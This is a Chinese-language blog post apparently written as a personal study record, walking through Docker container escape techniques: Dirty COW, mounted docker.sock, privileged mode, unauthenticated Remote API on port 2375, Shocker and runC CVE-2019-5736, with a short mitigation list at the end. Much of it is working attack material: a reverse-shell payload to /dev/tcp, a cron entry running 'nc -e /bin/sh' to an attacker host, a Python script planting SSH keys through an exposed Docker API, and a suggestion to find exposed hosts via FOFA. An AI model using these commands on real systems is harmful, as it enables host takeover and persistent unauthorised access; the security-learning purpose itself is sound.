美文网首页DockerWeb攻防
初识Docker逃逸漏洞

初识Docker逃逸漏洞

作者: book4yi | 来源:发表于2021-02-21 19:29 被阅读0次

    本文仅作学习记录,如有侵权,请联系删除!

    前言:


    很早之前看过相关的文章介绍过,但是把,这知识不过脑啊,虽然还没有遇到过,还是得本地搭建环境演练并做好文字记录,然后这篇文章诞生了。

    docker逃逸:


    Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shell,并拿到宿主机的root权限,可以直接操作宿主机的文件。 它从容器中逃了出来,因此我们形象的称之为Docker逃逸漏洞。

    目前的 Docker 逃逸的原因可以划分为三种:

    • 1、由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
    • 2、由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271
    • 3、由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式
    docker环境检测:
    • 1、是否存在.dockerenv文件
    ls -alh /.dockerenv
    
    • 2、查询系统进程的cgroup信息:
    cat /proc/1/cgroup
    
    实验环境:

    宿主机:ubuntu 14.04
    Docker版本:18.06.0-ce
    镜像版本:ubuntu 18.04

    环境搭建:
    curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
    

    复现过程:

    利用DirtyCow漏洞实现Docker逃逸(CVE-2016-5195):

    利用条件:

    docker与宿主机共享内核,需要存在dirtyCow漏洞的宿主机镜像。

    GitHub上已有人提供了测试环境与PoC,测试容器下载并运行:

    git clone https://github.com/gebl/dirtycow-docker-vdso.git
    cd dirtycow-docker-vdso/
    sudo docker-compose run dirtycow /bin/bash
    

    进入容器后,编译POC并执行:

    cd /dirtycow-vdso/
    make
    ./0xdeadbeef 192.168.107.129:8888
    

    在192.168.107.129监听本地端口:

    nc -lvp 8888
    

    复现失败,game is over!

    为啥别人复现看起来顺风顺水的,我这啥也不是

    在线靶场地址:https://www.ichunqiu.com/experiment/detail?id=100297&source=2

    # 使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
    # 其中 test:为临时名称,可以自定义填写。 -p: 第一个端口为本机的端口,第二个端口为Docker的端口。 -itd:意思是在后台运行,交互式运行,并且输出当前的信息 /bin/bash:调用Shell
    docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash 
    
    # 进入镜像内部
    docker exec -it test /bin/bash
    
    # 编译并运行POC
    cd /dirtycow-vdso/  
    make      
    ./0xdeadbeef   
    

    尝试创建文件:

    退出Docker,到相应目录查看是否创建成功:

    成功创建文件,并且它的所属用户为root,说明成功的利用Dirty Cow实现了Docker逃逸:

    挂载配置不当时的逃逸情况:

    • 1、docker.sock挂载到容器内部:

    Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

    unix:///var/run/docker.sock
    tcp://host:port
    fd://socketfd
    

    其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

    本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。

    当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机

    简单来说就是docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中

    利用过程:

    • 1、运行一个挂载/var/run/的容器:
    docker run -it -v /var/run/:/host/var/run/ c090eaba6b94 /bin/bash
    
    • 2、实际过程中还得寻找挂载的sock文件:
    find / -name docker.sock
    
    • 3、在容器内安装Docker作为client(此步骤可能需要更换源):
    apt-get update
    apt-get install -y docker.io
    
    • 4、查看宿主机Docker信息:
    docker -H unix:///host/var/run/docker.sock info
    
    • 5、运行一个新容器并挂载宿主机根路径,并在新容器/aa路径下完成对宿主机资源的访问:ls /aa:
    docker -H unix:///host/var/run/docker.sock run -v /:/aa -it df043b4f0cf1 /bin/bash
    ls /aa/
    
    • 2、--privileged(特权模式)

    使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

    风险点:

    当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

    • 1、以特权模式运行一个容器
    docker run -it --privileged c090eaba6b94 /bin/bash
    
    • 2、查看磁盘文件:
    fdisk -l 
    

    查看/dev/路径会发现很多设备文件:

    • 3、新建目录,并将/dev/sda1挂载至新建的目录:
    mkdir book4yi
    mount /dev/sda1 book4yi/
    
    • 4、写入计划任务或者webshell等等

    • 3、相关启动参数存在的安全问题:

    --cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用。
    --net=host 启动时,绕过Network Namespace
    --pid=host 启动时,绕过PID Namespace
    --ipc=host 启动时,绕过IPC Namespace

    更多不安全的配置利用可参考:一种Docker容器逃逸姿势的总结及分析

    • 4、docker remote api未授权访问

    docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
    当使用官方推荐启动方式:

    dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
    

    在没有其他网络访问限制的主机上使用,则会在公网暴漏端口。

    在fofa上根据特定语法找到一个站点:

    漏洞利用:

    • 1、首先列出所有容器,得到id字段:
    http://x.x.x.x:2375/containers/json
    
    • 2、创建一个 exec,使用burp发包,得到返回的id参数:
    POST /containers/<container_id>/exec HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json
    Content-Length: 188
    
    {
      "AttachStdin": true,
      "AttachStdout": true,
      "AttachStderr": true,
      "Cmd": ["cat", "/etc/passwd"],
      "DetachKeys": "ctrl-p,ctrl-q",
      "Privileged": true,
      "Tty": true
    }
    
    • 3、启动exec,成功执行了系统命令,读取到了passwd文件:
    POST /exec/<exec_id>/start HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json
    
    {
     "Detach": false,
     "Tty": false
    }
    

    成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。
    尝试通过写计划任务或者写ssh密钥得到宿主机权限

    • 1、提前在容器内安装Docker作为client(可能需要换国内源):
    apt-get update
    apt-get install docker.io
    
    • 2、查看宿主机docker镜像信息:
    docker -H tcp://x.x.x.x:2375 images
    docker -H tcp://x.x.x.x:2375 ps -a
    
    • 3、启动一个容器并将宿主机根目录挂在到容器的abc目录:
    docker -H tcp://x.x.x.x:2375 run -it -v /:/abc 8dbd9e392a96 /bin/bash
    
    • 4、写入计划任务、ssh密钥或者webshell等等

    利用python脚本写ssh密钥:

    # coding:utf-8
    import docker
    import socks
    import socket
    import sys
    import re
    
    #开启代理
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)
    #socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)
    socket.socket = socks.socksocket
    
    ip = '172.16.145.165'
    cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
    #端口不一定为2375,指定version参数是因为本机和远程主机的API版本可能不同,指定为auto可以自己判断版本
    image = cli.images.list()[0]
    
    #读取生成的公钥
    f = open('id_rsa_2048.pub', 'r')
    sshKey = f.read()
    f.close()
    
    try:
        cli.containers.run(
            image=image.tags[0],
            command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #这里卡了很久,这是正确有效的写法,在有重定向时直接写命令是无法正确执行的,记得加上sh -c
            volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录
            name='test' #给容器命名,便于后面删除
        )
    except docker.errors.ContainerError as e:
        print(e)
    
    #删除容器
    try:
        container = cli.containers.get('test')
        container.remove()
    except Expection as e:
        continue
    

    写计划任务(by P牛):

    import docker
    
    client = docker.DockerClient(base_url='http://your-ip:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
    

    Docker 软件设计引起的逃逸:


    • 1、Shocker 攻击

    通过调用open_by_handle_at函数对宿主机文件系统进行暴力扫描,以获取宿主机的目标文件内容。由于Docker1.0之前版本对容器能力(Capability)使用黑名单策略进行管理,并没有限制CAP_DAC_READ_SEARCH能力,赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生。

    影响版本:

    Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。

    项目地址:https://github.com/gabrtv/shocker

    • 2、runC容器逃逸漏洞(CVE-2019-5736)

    漏洞成因:

    runC是一个低级容器,像Docker这种高级容器在运行时可以使用runC来处理与其他运行容器之间的任务等。Docker 18.09.2之前的版本中使用的runC版本小于1.0-rc6,攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并重写其二进制文件,从而获取到宿主机的root权限。

    影响版本:

    Docker版本 < 18.09.2,runc版本< 1.0-rc6

    可通过 docker 和docker-runc 查看当前版本情况。

    测试环境下载:

    curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
    

    利用过程:

    # 下载poc
    git clone https://github.com/Frichetten/CVE-2019-5736-PoC
    
    # 修改Payload
    vi main.go
    payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.107.129/6666 0>&1"
    
    # 编译生成payload
    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    
    # 拷贝到docker容器中执行
     sudo docker cp ./main 335d6c6c60db:/tmp
    

    在容器中执行payload

    # 进入容器
    docker start 335d6c6c60db
    docker exec -it 335d6c6c60db /bin/bash
    
    # 修改权限
    chmod 777 main
    
    # 执行Payload
    ./main
    

    然后就是漫长的等待,直到管理员通过exec进入容器,从而触发Payload:

    docker exec -it 335d6c6c60db /bin/bash
    
    防范手段:

    1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
    2、runc版本 > 1.0-rc6
    3、k8s 集群版本>1.12
    4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
    5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
    6、不建议以root权限运行Docker服务
    7、不建议以privileged(特权模式)启动Docker
    8、不建议将宿主机目录挂载至容器目录
    9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

    篇幅原因CVE-2020-15257不进行复现,详情请参考:发现一款容器逃逸漏洞利用神器!

    感谢各位表哥的无私分享!!

    参考如下:


    Ubuntu 16.04安装docker及docker-compose详细步骤
    初识Docker逃逸
    干货来啦!带你初探Docker逃逸
    利用Dirty Cow实现Docker逃逸
    技术干货 | Docker 容器逃逸案例汇集
    Docker逃逸在实战中的利用
    安全实验室 | Docker逃逸原理

    相关文章

      网友评论

        本文标题:初识Docker逃逸漏洞

        本文链接:https://www.haomeiwen.com/subject/dlzaxltx.html